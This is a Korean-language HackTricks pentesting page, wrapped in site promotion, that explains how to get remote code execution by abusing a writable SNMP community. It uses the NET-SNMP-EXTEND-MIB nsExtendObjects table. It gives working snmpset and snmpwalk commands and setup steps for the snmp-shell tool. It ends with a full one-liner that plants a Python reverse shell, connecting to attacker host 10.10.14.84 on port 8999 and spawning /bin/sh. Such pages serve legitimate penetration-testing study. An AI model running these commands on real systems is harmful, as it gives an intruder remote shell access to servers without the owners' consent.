tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
SNMP RCE
SNMP는 관리자가 장치나 서버의 기본 구성을 간과할 경우 공격자에 의해 악용될 수 있습니다. **쓰기 권한이 있는 SNMP 커뮤니티(rwcommunity)**를 악용하여 Linux 운영 체제에서 공격자는 서버에서 명령을 실행할 수 있습니다.
추가 명령으로 서비스 확장
SNMP 서비스를 확장하고 추가 명령을 추가하려면 "nsExtendObjects" 테이블에 새로운 행을 추가하는 것이 가능합니다. 이는 snmpset
명령을 사용하고 실행할 실행 파일의 절대 경로와 실행할 명령을 포함한 필요한 매개변수를 제공함으로써 달성할 수 있습니다:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
명령어 주입 실행
SNMP 서비스에서 실행할 명령어를 주입하려면 호출된 바이너리/스크립트의 존재와 실행 가능성이 필요합니다. **NET-SNMP-EXTEND-MIB
**는 실행 파일의 절대 경로를 제공할 것을 요구합니다.
주입된 명령어의 실행을 확인하기 위해 snmpwalk
명령어를 사용하여 SNMP 서비스를 열거할 수 있습니다. 출력은 명령어와 관련된 세부정보를 표시하며, 절대 경로를 포함합니다:
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
주입된 명령 실행
주입된 명령이 읽히면 실행됩니다. 이 동작은 **run-on-read()
**로 알려져 있습니다. 명령의 실행은 snmpwalk 읽기 중에 관찰할 수 있습니다.
SNMP로 서버 셸 얻기
서버를 제어하고 서버 셸을 얻기 위해 mxrch가 개발한 파이썬 스크립트를 https://github.com/mxrch/snmp-shell.git에서 사용할 수 있습니다.
또는 특정 명령을 SNMP에 주입하여 수동으로 리버스 셸을 생성할 수 있습니다. 이 명령은 snmpwalk에 의해 트리거되어 공격자의 머신에 리버스 셸 연결을 설정하여 피해자 머신에 대한 제어를 가능하게 합니다. 이것을 실행하기 위한 전제 조건을 설치할 수 있습니다:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
또는 리버스 셸:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
참고문헌
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.